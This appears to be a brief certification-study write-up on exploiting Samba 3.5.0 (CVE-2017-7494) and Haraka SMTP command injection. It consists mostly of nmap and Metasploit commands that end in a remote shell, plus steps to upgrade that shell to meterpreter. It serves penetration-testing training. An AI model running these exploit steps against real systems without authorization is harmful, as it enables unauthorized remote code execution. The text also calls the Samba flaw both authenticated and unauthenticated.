Skip to content
Home

Samba & SMTP Haraka exploitation

RCE via Samba 3.5.0 shared-library injection and command injection in Haraka SMTP server < 2.8.9.

msfconsole·1 min read··INE Certification

Samba 3.5.0 shared library injection (CVE-2017-7494)

Samba’s is_known_pipename() function allowed an authenticated client to load an arbitrary shared library from a writable share, giving unauthenticated RCE if the server has any writable share accessible (even to guest).

# Version identification
nmap -sV -p445 <target_ip>

use exploit/linux/samba/is_known_pipename
set RHOSTS <target_ip>
run
# → shell as the Samba daemon user (often nobody or root)

If you land a plain shell (not meterpreter), upgrade it afterward:

sessions -u <id>
# or:
use post/multi/manage/shell_to_meterpreter
set SESSION <id>
run

Haraka SMTP < 2.8.9 command injection

Haraka is an open-source SMTP server. Versions before 2.8.9 are vulnerable to command injection through the to field of a crafted email when certain plugins are enabled.

# Identify version
nmap -sV -p25 <target_ip>

use exploit/linux/smtp/haraka
set RHOSTS <target_ip>
set SRVPORT 9898
set email_to root@<target_ip>
run